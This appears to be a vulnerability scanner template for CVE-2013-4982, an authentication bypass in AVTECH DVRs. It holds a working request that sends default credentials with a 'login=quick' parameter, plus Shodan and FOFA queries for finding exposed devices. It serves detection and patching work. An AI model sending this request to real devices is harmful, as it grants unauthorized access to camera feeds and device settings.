id: CVE-2013-4982

info:
  name: AVTECH DVR - Login Verification Code Bypass
  author: ritikchaddha
  severity: low
  description: |
    AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code.
  impact: |
    Attackers can bypass authentication mechanisms and gain unauthorized access to the DVR system, potentially viewing camera feeds, modifying settings, or compromising the device.
  remediation: |
    Update to the latest firmware version or contact the vendor for a security patch.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4982
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5.0
    cve-id: CVE-2013-4982
    epss-score: 0.39617
    epss-percentile: 0.97369
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"login" product:"Avtech"
    fofa-query: app="AVTECH-视频监控"
  tags: cve,cve2013,avtech,verify,bypass,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/nobody/VerifyCode.cgi?account={{base64(username + ':' + password)}}&login=quick"

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - linux321

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "^0.*\nOK.*"

      - type: dsl
        dsl:
          - status_code == 200
          - len(body) == 5
        condition: and
# digest: 4b0a00483046022100afd131e2a1baf5afddb8a71854a4ec717607bd8af14824e5d3d6525077c327450221009b7a61076907a131e4218c3953032df413367b15194ed04470f73fd6a43cb900:922c64590222798bb761d5b6d8e72950